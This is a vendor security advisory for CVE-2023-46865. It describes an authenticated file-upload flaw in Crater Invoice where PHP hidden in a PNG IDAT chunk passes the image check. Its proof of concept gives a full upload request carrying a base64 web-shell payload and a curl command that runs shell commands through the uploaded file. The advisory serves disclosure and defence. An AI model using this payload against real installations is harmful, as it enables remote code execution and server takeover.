CVE-2023-46865 - Post-Auth Unrestricted File Upload and Code Execution via IDAT in Crater Invoice

NetbyteSEC Security Advisory – Post-Auth Unrestricted File Upload via IDAT in Crater Invoice

Title: Post-Auth Unrestricted File Upload via IDAT in Crater Invoice
Advisory ID: NBS-2023-0004
Product:  Crater Invoice
Affected Version: <= 6.0.6
CVE ID: CVE-2023-46865
Homepage: https://github.com/crater-invoice/crater
Author: Muhammad Hazmi Mustaqim Bin Zameri | NetbyteSEC

Vendor/Product Description

Crater is an open-source web & mobile app that helps you track expenses, payments & create professional invoices & estimates.

Source: https://github.com/crater-invoice/crater

Vulnerability Overview

Crater Invoice is vulnerable to unrestricted file upload. The lack of input validation enabled dangerous file types to be uploaded to the server. The Base64Mime checking class can be bypassed by embedding a valid PHP payload into an IDAT image chunk. A user with superadmin privileges is able to upload the crafted payload through company logo at /api/v1/company/upload-logo.

The exploitation of this vulnerability requires a superadmin account access to be gained beforehand. Access to such privilege via malicious approach may also result other impacts which are not in the scope of this article. In this article, we focused on exploiting the vulnerability that enables access to the underlying operating system via the unrestricted file upload. What we wanted to demonstrate here is the code execution via IDAT image processing. 

The fact that the vulnerability required superadmin privilege for authentication, which could cause a significant problem.

Technical Details

The uploadCompanyLogo function will take the request sent to /api/v1/company/upload-logo and uses CompanyLogoRequest to process the image that has been encoded in base64. Since the filename is taken directly without any extension validation, we should be able to upload an executable php file if we manage to bypass the CompanyLogoRequest class.

 

Image: Upload company logo request, image encoded in base64
 
Crater Invoice allows a logged-in user with superadmin privilege to upload a company logo via the company settings page. The upload request goes to /api/v1/company/upload-logo endpoint. 
 
 
File: /app/Http/Controllers/V1/Admin/Settings/CompanyController.php - Line 66-92

Reviewing the code above, we learned that this is handled by uploadCompanyLogo function which uses CompanyLogoRequest to process the image that has been encoded in base64.


File:/app/Http/Requests/CompanyLogoRequest.php - Line 8-34
 
As shown above, the CompanyLogoRequest utilizes a class, Base64Mime, to verify the file extension of the uploaded image against an array of file extension namely gif, jpg and png. As observed earlier in uploadCompanyLogo function, there is no validation on the file extension in place - we may be able to upload a file with .php extension provided we are able to bypass the CompanyLogoRequest class which which is Base64Mime.


File:/app/Rules/Base64Mime.php - Line 7-77
 
Diving into the Base64Mime class, we learned that the class check for the following:
  • Is a valid JSON format. (line 14-18)
  • Matches the pattern of a base64-encoded file. (line 20-24)
  • Decoded content can be identified as a valid file format using the finfo extension. (line 32-39)
  • Return true if the finfo results is within the accepted extensions(gif,jpg,png). (line 41-51)

The finfo extension, provides functions that allow us to inspect the contents of a file and determine its MIME type and encoding(similar to the file command in linux). We are able to bypass the checks by using a technique that was commonly used to bypass phpgd checks where we put the payload in IDAT chunk of the image and it was successful.

Proof of Concept

Clone repo from PNG-IDAT-Payload-Generator. To generate the IDAT PHP payload we use 

python3 .\generate.py -m php -o test.png


Then use superadmin account to upload a company logo, intercept request, and change the extension of .png to .php.

POST /api/v1/company/upload-logo HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Authorization: undefined
company: 1
X-XSRF-TOKEN: eyJpdiI6IjlmTDJpdzRNUUFCNVlObXUvbDN4c2c9PSIsInZhbHVlIjoidjJCdVlXemtlQ0NHbzFmTC93dzNxZzVhd0IrOFlYd1d6aUxCZWFJWElTd3pDTEdoTlNUT1o1S2NRMWp5cWRhckJVejhiZVArRThPbGxzSGRsVTg5QkJBY1RKdDhnOEt6MkxadHM0MGRPNkErZVRnRkJaenVXZXVrMHVlSkZMVzciLCJtYWMiOiJmMmE2ZWRkNjE4YzZmYTE5NjY1ODgxYWEzNDhkOGJlNzA1MmIxYWQyYmI3MjM2YmRiNjc2NzBmMDE2NDY3NTVhIiwidGFnIjoiIn0=
Content-Type: multipart/form-data; boundary=---------------------------5545470669814198892302696268
Content-Length: 552
Connection: close
Referer: http://example.com/admin/settings/company-info
Cookie: XSRF-TOKEN=eyJpdiI6IjlmTDJpdzRNUUFCNVlObXUvbDN4c2c9PSIsInZhbHVlIjoidjJCdVlXemtlQ0NHbzFmTC93dzNxZzVhd0IrOFlYd1d6aUxCZWFJWElTd3pDTEdoTlNUT1o1S2NRMWp5cWRhckJVejhiZVArRThPbGxzSGRsVTg5QkJBY1RKdDhnOEt6MkxadHM0MGRPNkErZVRnRkJaenVXZXVrMHVlSkZMVzciLCJtYWMiOiJmMmE2ZWRkNjE4YzZmYTE5NjY1ODgxYWEzNDhkOGJlNzA1MmIxYWQyYmI3MjM2YmRiNjc2NzBmMDE2NDY3NTVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImhXdzFQMStlL0lTdHJTekQzTjdCcHc9PSIsInZhbHVlIjoiRnRjWFd5RERVNisrOVQ3Uk94S25DTWVkK1pjZTJUclQzYWV0ZXpQUG93OEhKd0RWV01XZmQ1ZmhlTGVqeDdaSGhPY3NUeDVvTm9xSXYzTVp6anFlbWxRb3JsZlR3YURscXo1UVh5My9nbCt6Y0F2T1Vsd3dESnhsQzZjSkQvR3oiLCJtYWMiOiI3M2ZjZjM0YmZhMTAzMGQwZmVlYTVmMjczNmEyYWUwZDY2MDNmZTcyNmQxMWFhMTk4YWRlMjJiOTNjNmQzZjIxIiwidGFnIjoiIn0%3D; dnXIFPcUKrLKVUG7aQgkhpLkCDcjlGIkv70LWxmf=eyJpdiI6Ilp4VGVCT3lheVViR1FFM0dsaTZkVHc9PSIsInZhbHVlIjoiTkpHTC9Cdzg0djRPWjFESitvdndYMVhRMFpCQ2pTUHRSQnVTOTVNMWh2T1l6SDR0QThIWDhZVDlTNmpsR085ZVJLSFFWRTR6dDdrVEhncTB6NlRQUzhLbHU1ZXJHdmV5WDBsU2U0R0lEeHNzM29abDBFczNDWTBVYUtoQyt0RlJlMmhvY0M2TVdaZFRqbkJvdWd1Zzk2QUxzUzZnb3BlbDZXOUhMeDQ1RkNTeUFwTit4QndOTnEzQzVCejFDbnNPUzBoc0N4dEh3UXBrVDBBSmdFa1dib0M0MHZZS05USWlMQnVFd2VJdmJIV2lhNXJRaGp0OTc2cUZQVXhTTEgzZE9JWWk3NjkrTGRNSnR2SWVwZ25YQjdVTWsySmdaYjQzc1c2KzBYc3lXYmUva3dZanR5Y3FsaGhzbUw5b2wvTExLR3huNHhsdDhKTG9rYjYwMUlrZlNRYzZ0aGVaQWpzSG0veStGYWorNWUyYzRZQ0lzN3NOMzRKV3BnZG1mZ1RsUG8ybk9SSlBhMEEzajZqdDU3OGIzV3RUd3hoQll1WisrbytpdUVMbzUvNm0zazNyWHVDYUZEbStzVFJXd2dDU3ZYY0xvZ0hrZTRNMG1vRzRURXdXanc9PSIsIm1hYyI6IjE5OGJhMTNjM2U5YTU2M2Q4Y2ZjOTRmYWNiOTU4YTMwZmVmMjY1YWJiZjNlYzc3YjI0YzAxODgzN2Q1N2RkZDciLCJ0YWciOiIifQ%3D%3D


-----------------------------5545470669814198892302696268
Content-Disposition: form-data; name="company_logo"

{"name":"test.php","data":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAIAAAD8GO2jAAAAVklEQVR4nGNcPD89JF9HRVRbMF0oJF9QT1NUWzFdKTs/PljAc143k/yPi9t+X9N9qif38ePJv1/vBnyyMFiXHMwwCkbBKBgFo2AUjIJRMApGwSgYfgAAI0oXArodV7QAAAAASUVORK5CYII="}
-----------------------------5545470669814198892302696268
Content-Disposition: form-data; name="is_company_logo_removed"

false
-----------------------------5545470669814198892302696268--

We can execute the PHP shell by sending request such as:
 
curl -XPOST -d '1=uname -a' 'http://localhost/storage/1/test.php?0=shell_exec' --output o && cat o
 To demonstrate the process, the proof of concept is available on GitHub.
 

Workaround

In the absence of an official patch release from the vendor, it is advisable to restrict access to the administrative web application exclusively to authorized personnel at the network level.
 

Vendor Contact Timeline

2023-04-08: Submit private disclosure to vendor through huntr platform
2023-04-20: Vendor acknowledge the report
2023-10-28: Submit private disclosure to CVE assignee
2023-10-30: CVE number assigned by MITRE
2023-11-10: Public release of security advisory


NetByteSEC Sdn Bhd
===================
NetbyteSEC Sdn Bhd was incorporated under the Malaysian Companies Act 1965 in 2013.
NetbyteSEC is privately owned and is based in Cyberjaya, Selangor, Malaysia.
More information about NetbyteSEC Sdn Bhd can be found at:
https://www.netbytesec.com